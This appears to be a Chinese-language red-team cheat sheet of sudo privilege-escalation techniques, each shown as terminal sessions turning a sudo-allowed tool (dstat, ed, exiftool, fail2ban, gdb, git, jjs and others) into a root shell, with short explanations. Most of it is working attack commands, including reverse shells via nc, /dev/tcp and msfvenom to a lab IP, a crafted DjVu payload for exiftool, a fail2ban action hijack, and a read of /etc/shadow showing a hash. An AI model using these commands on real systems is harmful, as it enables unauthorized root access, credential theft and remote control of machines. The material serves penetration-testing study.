dd 是一个命令行工具,常用在 Unix 和 Linux 系统中,用于对原始数据进行低级别的复制和转换。它非常灵活,可以用于许多任务,如复制数据、转换数据的编码、生成文件等。if 是输入,of 是输出。
sudo dstat 1 2 3 4 5 6 7 8 9 10 11 12 13 14 jackie@RedteamNotes:~$ find / -name dstat -type d 2>/dev/null /usr/share/doc/dstat /usr/share/dstat jackie@RedteamNotes:/usr/share/dstat$ cat dstat_exploit.py import os; os.execv("/bin/bash" , ["bash" ]) jackie@RedteamNotes:/usr/share/dstat$ sudo dstat --exploit /usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib and slated for removal in Python 3.12; see the module\'s documentation for alternative uses import imp root@RedteamNotes:/usr/share/dstat#
dstat 是一个用于系统监控和诊断的工具,它提供了实时的性能统计数据和系统资源使用情况。通过使用 dstat 命令,您可以获得关于 CPU、内存、磁盘、网络等方面的详细信息。
sudo ed 1 2 3 jackie@RedteamNotes:~$ sudo ed !/bin/bash root@RedteamNotes:/home/jackie
ed 是一个编辑器,一个基于行的文本编辑器,它被设计成在终端中进行操作
sudo env 1 2 jackie@RedteamNotes:~$ sudo env /bin/bash root@RedteamNotes:/home/jackie
env 通常用于设置和显示环境变量的值
1 2 3 4 5 6 7 8 9 10 11 stux@ubuntu:~$ exiftool -ver 12.05 stux@ubuntu:~$ vi payload stux@ubuntu:~$ cat payload (metadata "\c${system('/bin/bash')} ;" ) stux@ubuntu:~$ bzz payload payload.bzz stux@ubuntu:~$ djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz stux@ubuntu:~$ sudo exiftool exploit.djvu root@ubuntu:~
BZZ 是一种文件压缩格式,它提供了高压缩比和快速解压缩速度。BZZ 文件通常具有较小的文件大小,可以节省存储空间,并且在解压缩时不会对文件的完整性产生影响。
DjVuMake 是用于创建和转换 DjVu 文件的工具。DjVu 是一种图像压缩文件格式,主要用于扫描文档和电子书。与其他图像格式相比,DjVu 可以提供更高的压缩比,同时保持较好的图像质量。DjVuMake 工具可以将图像、文本和其他数据转换为 DjVu 格式,并且可以进行一些优化和配置,以满足特定需求。DjVu 文件通常用于在网络上共享大型扫描文档,以便更快地加载和浏览。
sudo expect 1 2 3 jackie@RedteamNotes:~$ sudo expect -c 'spawn /bin/bash;interact' spawn /bin/bash root@RedteamNotes:/home/jackie
expect 能够模拟用户的键盘输入(例如,密码和其他响应),因此可以自动化需要用户交互的过程。它主要用于脚本和其他自动化环境中。
整个命令 sudo expect -c 'spawn /bin/bash;interact'
将以 root 用户的身份在新的 shell 进程中开启一个交互式会话。-c 允许你直接在命令行中输入 expect 脚本代码,而不是从文件中读取。
sudo fail2ban 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 jackie@RedteamNotes:/etc/fail2ban$ find / -name "fail2ban*" -type d 2>/dev/null /usr/share/doc/fail2ban /usr/lib/python3/dist-packages/fail2ban-0.11.2.egg-info /usr/lib/python3/dist-packages/fail2ban /run/fail2ban /var/lib/fail2ban /etc/fail2ban /etc/fail2ban/fail2ban.d jackie@RedteamNotes:~$ find /etc -writable -type d 2>/dev/null /etc/fail2ban/action.d jackie@RedteamNotes:/etc/fail2ban$ ls -liah jail.conf 442894 -rw-r--r-- 1 root root 25K May 22 09:27 jail.conf jackie@RedteamNotes:/etc/fail2ban/action.d$ mv iptables-multiport.conf iptablesmultiport.conf.bak jackie@RedteamNotes:/etc/fail2ban/action.d$ cp iptables-multiport.conf.bak iptables-multiport.conf
mv 是移动文件,属主不变,cp 是创建文件属主会是操作者的数组
1 2 3 4 5 6 7 8 9 10 11 12 13 14 jackie@RedteamNotes:/etc/fail2ban/action.d$ vim iptables-multiport.conf jackie@RedteamNotes:/etc/fail2ban/action.d$ cat iptables-multiport.conf | grep actionban actionban = rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.10.10 9595 >/tmp/f jackie@RedteamNotes:/etc/fail2ban/action.d$ sudo /etc/init.d/fail2ban restart Restarting fail2ban (via systemctl): fail2ban.service.
sudo find 1 2 jackie@RedteamNotes:~$ sudo find . -exec /bin/bash \; -quit root@RedteamNotes:/home/jackie
\;
则是 -exec
参数的结束符,告诉 find
命令 -exec
参数的内容到此为止。需要注意的是,-exec
命令后面的 \;
必须被转义(即加上 \
),否则 shell 会将 ;
解释为命令分隔符,这会导致 -exec
参数没有正确的结束,从而引发错误。因此我们需要写成 \;
,而不是单独的 ;
。
sudo flock flock
: 这是一个在 Linux 中管理文件锁定的实用程序。它可以用来协调多个进程对文件或文件系统的访问,避免这些进程同时访问同一资源导致的问题。-u
: 这是一个flock的选项,表示解锁。
1 2 jackie@RedteamNotes:~$ sudo flock -u / /bin/bash root@RedteamNotes:/home/jackie
sudo ftp 1 2 3 jackie@RedteamNotes:~$ sudo ftp ftp> !/bin/bash root@RedteamNotes:/home/jackie
! 在这里是一个特殊的字符,表示要暂时离开 FTP 会话并在本地 shell 中执行命令。!的这个用法在 vi、ed 等编辑器场景下也存在。可以总结为一种通行做法。
sudo gcc 1 2 jackie@RedteamNotes:~$ sudo gcc -wrapper /bin/bash,-s . root@RedteamNotes:/home/jackie
-wrapper
:这是 gcc 的一个选项,它允许你在 gcc 调用实际编译器或链接器之前,先调用一个包装器(wrapper)脚本或程序。
,-s
:是 bash 带的一个选项,它使得 bash 在读取到 EOF 时不会退出(通常用于从标准输入读取命令)
最后那个.就是编译的源码,你给他任意源码也行,但因为不想编译任何东西,所以最简略的就是给他很通用的东西——当前目录的全部。
sudo gdb 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 jackie@RedteamNotes:~$ sudo gdb -nx -ex '!bash' -ex quit GNU gdb (Ubuntu 12.1-0ubuntu1~22.04) 12.1 Copyright (C) 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law. Type "show copying" and "show warranty" for details. This GDB was configured as "x86_64-linux-gnu" . Type "show configuration" for configuration details. For bug reporting instructions, please see: <https://www.gnu.org/software/gdb/bugs/>. Find the GDB manual and other documentation resources online at: <http://www.gnu.org/software/gdb/documentation/>. For help , type "help" . Type "apropos word" to search for commands related to "word" . root@RedteamNotes:/home/jackie
-nx
: “no execute”这个选项告诉 gdb 在启动时不读取任何.gdbinit 文件。.gdbinit 文件是一个配置文件,gdb 在启动时会读取这个文件中的命令。
-ex
: “execute”这个选项允许你在 gdb 启动时执行一段 gdb 命令。”execute”
'!bash'
: 在 gdb 中,!用来执行 shell 命令,因此!bash 就是在 gdb 中启动一个 bash shell。
-ex quit
: 这个命令让 gdb 在执行完前面的命令之后退出。
sudo git 1 2 3 jackie@RedteamNotes:~$ sudo git branch --help !/bin/sh root@RedteamNotes:/home/jackie
git 用的标准 manual 工具,然后就可以用 manual 提权的思路了。和 less、more 的类似。
sudo gzip/gunzip 1 2 3 jackie@RedteamNotes:~$ sudo gzip -f /etc/shadow -t root:$6$1mokVIOR1y0hKn2n$.ImQujW12YEC4sMF7IQcUQmLStAQHuByyNhVIiEzvF/SQx3nBMPBFi4xQ4 0sp80V6ivaJEAy/0n23TsTi.AnO.:19495:0:99999:7:::
因为 sudo 允许命令以 root 用户的权限运行。当 gzip -t 尝试读取和测试 /etc/shadow 时,它实际上访问了这个包含敏感信息的文件
sudo hping3 1 2 3 jackie@RedteamNotes:~$ sudo hping3 hping3> /bin/bash root@RedteamNotes:/home/jackie
Hping3 是一个强大的网络工具,主要用于分析和测试网络环境,生成各种类型的 ICMP、IP、TCP、UDP 或 RAW-IP 协议数据包。
sudo iftop 1 2 3 4 5 6 user@RedteamNotes:~$ sudo iftop !/bin/bash interface: eth0 IP address is: 10.10.10.12 MAC address is: 00:0c:29:b2:08:d5 root@RedteamNotes:/home/user
在 iftop 界面,输入!进入命令模式,输入/bin/bash 启动子 shell。iftop 是一个命令行的网络流量监控工具,用于实时显示一个网络接口的带宽使用情况。类似于 top 命令,它可以提供活动的网络连接和使用带宽的实时视图。
sudo java 1 2 3 4 5 6 7 8 9 10 11 ┌──(kali㉿kali)-[~/Musics/PrivEscaLabs/sudoers] └─$ sudo msfvenom -p java/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f jar -o shell.jar [sudo] password for kali: Payload size: 7502 bytes Final size of jar file: 7502 bytes Saved as: shell.jar jackie@RedteamNotes:/tmp$ sudo /usr/bin/java -jar shell.jar
sudo jjs 1 2 3 echo "Java.type('java.lang.Runtime').getRuntime().exec(['/bin/bash','-c','exec 5<>/dev/tcp/10.10.10.10/9595;cat <&5 | while read line; do \$line 2>&5 >&5; done']).waitFor()" | sudo jjs
有些时候提高交互性可能会失败,这时候可以用 echo $SHELL
尝试探查,如果异常,可以新建一个反弹 shell
1 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.10.10 4444 >/tmp/f